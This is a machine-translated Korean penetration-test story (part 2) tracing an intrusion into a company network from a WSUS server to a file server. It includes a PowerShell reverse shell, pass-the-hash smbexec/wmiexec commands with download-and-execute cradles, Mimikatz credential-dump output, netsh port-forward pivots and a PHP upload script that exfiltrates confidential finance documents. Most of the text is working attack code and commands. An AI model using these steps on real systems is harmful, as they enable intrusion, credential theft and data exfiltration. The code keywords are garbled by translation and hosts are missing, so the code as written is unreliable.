스마트폰 보안 (2 차) 회사-WSUS 서버를 대상으로. 스캔 후 우리의 요구를 충족, 안정적인 원격 셸 보내 두 호스트는 발견. 그들은 WSUS (윈도 즈 업데이트 서버)와 바이러스 백신 (안티 바이러스 관련 서버), 이러한 서비스는 데이터베이스 업데이트, 처음부터 시작 하자 인터넷 액세스 해야 하기 때문에.
로컬 관리자의 NTLM 해시가이 서버에 액세스할 충분 한지 여부에 대 한 흥미로운 질문? 어쩌면 우리의 대답은 ' 그렇다.
한 회사에서 동일한 로컬 관리자 암호를 사용 하 여 모든 서버에 대 한 일반적입니다. 이것은 종종 연결에 대 한 처음으로 (안 좋습니다), 처음으로 서버 만들 템플릿을 배포 된 인스턴스 원래 관리자 암호를 유지 하는 다음 서버를 만드는.
일련의 큰 테스트, 후 일 점점 더 많은 지금, 복잡 하 고 우리는 다음과 같은 계획을가지고:
공개 웹 서버에서 이전 PowerShell 스크립트 (R1.PS1)를 넣어
함수 호출-r1
{
$client = 새 개체 Net.Sockets.TCPClient (', 80)
$stream = $client. GetStream (); [바이트 []] $bytes = 0..65535 | % {0}
동안 ($i = $stream. 읽기 ($bytes, 0, $bytes. 길이))-ne 0)
{
$data (새로운 개체 typename System.Text.ASCIIEncoding) =. GetString ($bytes, 0, $i)
$sendback = (전류 구동 $data 2 > & 1 | -문자열)
$sendback 2 = $sendback + 'PS' + (PWD). 경로 + ' > '
$sendbyte = ([Text.encoding]::ascii). GetBytes ($sendback 2)
$stream입니다. 작성 ($sendbyte, 0, $sendbyte. 길이)
$stream입니다. 플러시)
}
$client입니다. 닫기)
}
Smbexec (SMB.PS1) 인증에 대 한 해시를 전달할 수 있도록 Tomcat Webshell 업로드
우리는 원래 Smbexec 스크립트를 약간 수정 하 고 악용을 자동화 하기 위해 몇 가지 라인을 추가. 로드 되 면, 그것은 자동으로 WSUS 서버에 연결, 우리의 서버에 메모리를 리버스 쉘 다운로드 후 실행 하는 데 필요한 매개 변수를 호출
호출 smbexec \
-대상 \
-사용자 이름 관리자 해시 604603ab105adc8xxxxxxxxxxxxxxxxx
-명령 \
"PowerShell '" 전류 구동 (새 개체 net.webclient). Downloadstring ('Http:///r1.ps1'); 호출 r1 ' ""
이것은 우리의 모든-에-하나의 솔루션: smbexec, 자동된 다운로드 및 PowerShell 스크립트의 실행을 자동화
Webshell에 있는 SMB.PS1를 수행 했습니다.
CMD/C Powershell executionpolicy 우회-f C:\tomcat\webapps\cmd\warfiles\smb.ps1
192.168.178.62에 서비스 bhtlcpteiclbhqpovgsm와 함께 실행 명령
공격 성공 했으며 Srvwsus 컴퓨터의 시스템 권한에서 쉘 받았습니다.
50341에서에 연결
추 신: c:\windows\system32 > WhoAmI
NT AUTHORITY\SYSTEM
마지막으로, 우리는 있어는 보다 안정적인 쉘. 안녕, 안 드 로이드 ~.
하지만 지금 우리의 임무, 그리고 다른 우리가 아직 되지 않은 기밀 데이터를 훔치는 방법을 찾을 수 있습니다.
우리는 또한 smb.ps1,smbexec 로컬 관리자로 시작 하는 경우에 과정은 (이전 whoami 결과 기억) 시스템 권한으로 생성 됩니다 것으로 나타났습니다. PowerShell 캡슐화 도구 wmiexec.ps1-강력한 Windows WMI를 사용 하 여 인터페이스 것 이다 더 나은 적합 아래 작업에 그것 전달 된 자격 증명을 사용 하 여 원격 프로세스를 실행 하기 때문에.
우리는 다시 Mimikatz을 실행, 아직 아무 문제 (우리는 시스템 권한), 우리에 게 직접이 srvwsus 리버스 쉘, 파일을 업로드할 필요 없이. 기억, "MyMy" 우리 Mimikatz와 혼동 하는 이름입니다.
추 신: C:\windows\system32 > 전류 구동 (새 개체 net.webclient). Downloadstring ('Http:///m.ps1'); 호출 mymy
Mimikatz (PowerShell) # Sekurlsa::logonpasswords
인증 id: 0; 749566 (00000000:000b6ffe)
세션: 2에서 인터랙티브
사용자 이름: 관리자
도메인: supercompany
로그온 서버: SRVDC1
로그온 시간: 2/17/2017 오후 4시 23분: 28
sid:s-1-5-21-3534665177-2148510708-2241433719-500
MSV:
[00000003] 기본
* Username:administrator
* 도메인: supercompany
* NTLM:446687C38D831F4XXXXXXXXXXXXXXXXX
* SHA1:5CD9D993A606586XXXXXXXXXXXXXXXXXXXXXXXXX
[00010000] Credentialkeys
* NTLM:446687C38D831F4XXXXXXXXXXXXXXXXX
* SHA1:5CD9D993A606586XXXXXXXXXXXXXXXXXXXXXXXXX
TSPKG:
Wdigest:
* Username:administrator
* 도메인: supercompany
* 암호: (NULL)
Kerberos:
* Username:administrator
* 도메인: supercompany입니다. 지역
* 암호: (NULL)
Ssp:ko
CredMan:
와우! 도메인 관리자가 서버 로그인에서 우리는 도메인 관리자 해시, 수확은 작은.
이상의 게임은? 고객 기밀 정보를 우리에 게 요구 하지만 우리는 아직 어떤 기밀된 문서 없어요. 하지만 우리가 지금 어디에 검색, 파일 서버 SRVFILE1
파일 서버 (SRVFILE1)를 찾기
무엇을 더 나은 파일 서버는 파일에 대 한 검색 곳? 도메인 관리자의 암호 해시와 우리가 이미 반 작업을 완료 했습니다. 이전 통합 smbexec와 함께 우리만 도메인 관리자와 로컬 관리자 해시를 대체 해야 합니다.
Srvwsus의 역 껍질에서 시작 해 서, 우리는 동일한 이전 단계를 사용 하 여 서버를 공격 하려고 하지만 이번이 엔 실패. 몇 가지 시도 후, 우리 서버는 인터넷에 대 한 액세스를 금지 하도록 구성 된 결론을 내렸다.
새로운 계획을 필요로 하는 새로운 서버, 최신 계획은 셸을 사용 하 여 우리의 기존 srvwsus SRVFILE1에가 서
단계는 다음과 같습니다.
Netsh를 사용 하 여 모든 트래픽을 공격자 443 포트에 Srvwsus 8888 포트로 이동
#SRVFILE1 srvwsus:8888 공격자: 443
netsh 인터페이스 portproxy 추가 v4tov4 listenport = 8888 ListenAddress = 0.0.0.0 Connectport 443 connectaddress = =
Srvwsus에 두 번째 리버스 쉘 스크립트 R2.PS1 우리의 웹 서버에 업로드.
(새 개체 net.webclient)입니다. DownloadFile ('Http:///r2.ps1', 'c:\tmp\r2.ps1')
R2.PS1는 우리의 공용 IP 대신 srvwsus에 연결 되어 있기 때문에 다른 이전 스크립트
...
$client = 새 개체 System.Net.Sockets.TCPClient (', 8888)
...
* Srvwsus에 간단한 PowerShell httpserver 다운로드:
# HTTP.PS1
시작 작업 {# 백그라운드에서 실행 거 야
$p = "C:\tmp\"
$H = 새 개체 Net.httplistener
$H. Prefixes.add ("http://+:8001/")
$H. 시작)
없음; ($H. islistening) 동안
$HC = $H. GetContext)
$HR = $HC. 응답
$HR입니다. Headers.add ("콘텐츠 형식", "Text/plain")
$file = 조인 경로 $p ($HC. 요청 시)입니다. Rawurl
$text = [아이오와. 파일]:: readalltext ($file)
$text = [text.encoding]::utf8. GetBytes ($text)
$HR입니다. ContentLength64 = $text. 길이
$HR입니다. Outputstream.write ($text, 0, $text. 길이)
$HR입니다. 닫기)
}
$H. ()를 중지
}
HTTP 듣기 시작 하 고 무대에 그것을 넣어, SRVFILE1 여기에서 우리의 리버스 쉘을 다운로드할 것 이다
추 신: c:\tmp >. \http.ps1
우리는 smbexec, 대신 wmiexec를 사용 하 고 우리의 웹 서버에서 srvwsus wmiexec.ps1 파일을 다운로드:
추 신: c:\tmp > (뉴-개체 net.webclient). DownloadFile ('Http:///wmiexec.ps1', 'c:\tmp\wmiexec.ps1')
파일 끝에 다음 호출 wmiexec 기능을 포함:
호출 wmiexec \
-대상-도메인 supercompany \
-사용자 이름 관리자 해시 446687c38d831f4xxxxxxxxxxxxxxxxx
-명령 \
"PowerShell '" 전류 구동 (새 개체 net.webclient). Downloadstring ('Http://:8001/r2.ps1'); 호출-r 2 ' ""
WMIEXEC.PS1를 실행:
추 신: c:\tmp >. \wmiexec.ps1
프로세스 ID 4756 192.168.178.195에 실행 하는 명령
이 이야기의 끝에, 우리는 매우 "마법의" SRVFILE1에서 도메인 관리자 권한 껍질
[회사-ip] 49190에서에서 [우리 웹 서버]에 연결
추 신: c:\windows\system32 > WhoAmI
Supercompany\administrator
이 이미지는이 과정을 이해 하는 데 도움이 될:
우리의 인트라넷 로밍의 마지막 단계에서 우리는 단지 몇 가지 기밀 문서를 찾이 필요 합니다. 하드 드라이브에의 빠른 주시, 후 우리는 뭔가 발견:
디렉토리: f:\finance\reserved
모드 LastWriteTime 길이 이름
---------
--9/24/2016 164468 supersecret.docx 오전 2 시 20 분
--5/29/2016 오후 6 시 41 분 12288 balance.xlsx
...
이것은 우리가 필요로 하는 파일! 여 그냥 손을 누출을 증명할 수 있다.
5 분 후 행복, 우리 자신을 물었다: 우리는 파일을 어떻게 얻습니까? 먼저 우리의 공용 네트워크 서버, FTP를 시도 하지만 나쁜 행운, 보호 하는 서비스는 회사의 방화벽의 다른 쪽. 그래서 우리는 HTTP를 통해 업로드 하기로 결정 했습니다.
그래 우리가 좋아하는 PHP 언어를 소개 하는 시간 이다, 이제 우리가 php 사랑 ~
공개 웹 서버에서 간단한 업로드 스크립트를 사용 했습니다.
index.php
$pic = @$ _files [' 그림 ' [' 이름 '].
$pic _loc @$ _files = [' 그림 '] [' tmp_name '];
에코 (@move_uploaded_file $pic _loc, $pic)? "완료": "오류";? >
필요한 다음 파일 업로드 기능으로 HTTP 클라이언트입니다. 구글, 우수한 PowerShell 스크립트를 발견 하 고는 srvwsus에 업로드 후 Upload.ps1 라는
파일을 전송, 연결 설정, 포트 8889에이 시간, srvwsus에 새 포트 포워딩 규칙을 추가 해야 합니다.
# SRVFILE1 srvwsus:8889 공격자: 80
Add v4tov4 portproxy listenport 인터페이스 8889 listenaddress = = 0.0.0.0 connectport = 80
일단 설정, HTTP 업로드 스크립트는 다운로드 하 고 SRVFILE1에서 실행. 우리의 서버에 80 포트는 PHP 매핑됩니다 Srvwsus 8889 포트에서 파일이 다운로드 되는 참고에서 실행 됩니다. 우리의 443 포트 지도 Srvwsus의 8888 포트, 리버스 쉘 명령을 수신 하는 곳입니다.
추 신: c:\tmp\ > (뉴-개체 net.webclient). DownloadFile (' http://:8889/up.ps1′, 'c:\tmp\upload.ps1')
추 신: C:\tmp\ > . \upload.ps1
추 신: c:\tmp > 호출-업로드-파일 F:\finance\reserved\Supersecret.docx-uri http://:8889/
Content:System.Net.Http.StreamContent
완료
추 신: c:\tmp > 호출-업로드-파일 F:\finance\reserved\balance.xlsx-uri http://:8889/
Content:System.Net.Http.StreamContent
완료
성공적으로 우리의 웹 서버에 작업이 완료 된 기밀 문서를 전송!
이 시간 우리가 찾지 못했습니다 어떤 너무 큰 파일을 있으면, 그들 zip, PowerShell 명령에서에서 다음과 같이 압축할 수 있습니다.
$SRC = "F:\finance\"
$DST = "C:\tmp\files.zip"
[Reflection.assembly]::loadwithpartialname ("System.IO.Compression.FileSystem")
[System.io.compression.zipfile]::createfromdirectory ($SRC, $DST, [System.io.compression.compressionlevel]::o Ptimal, $true)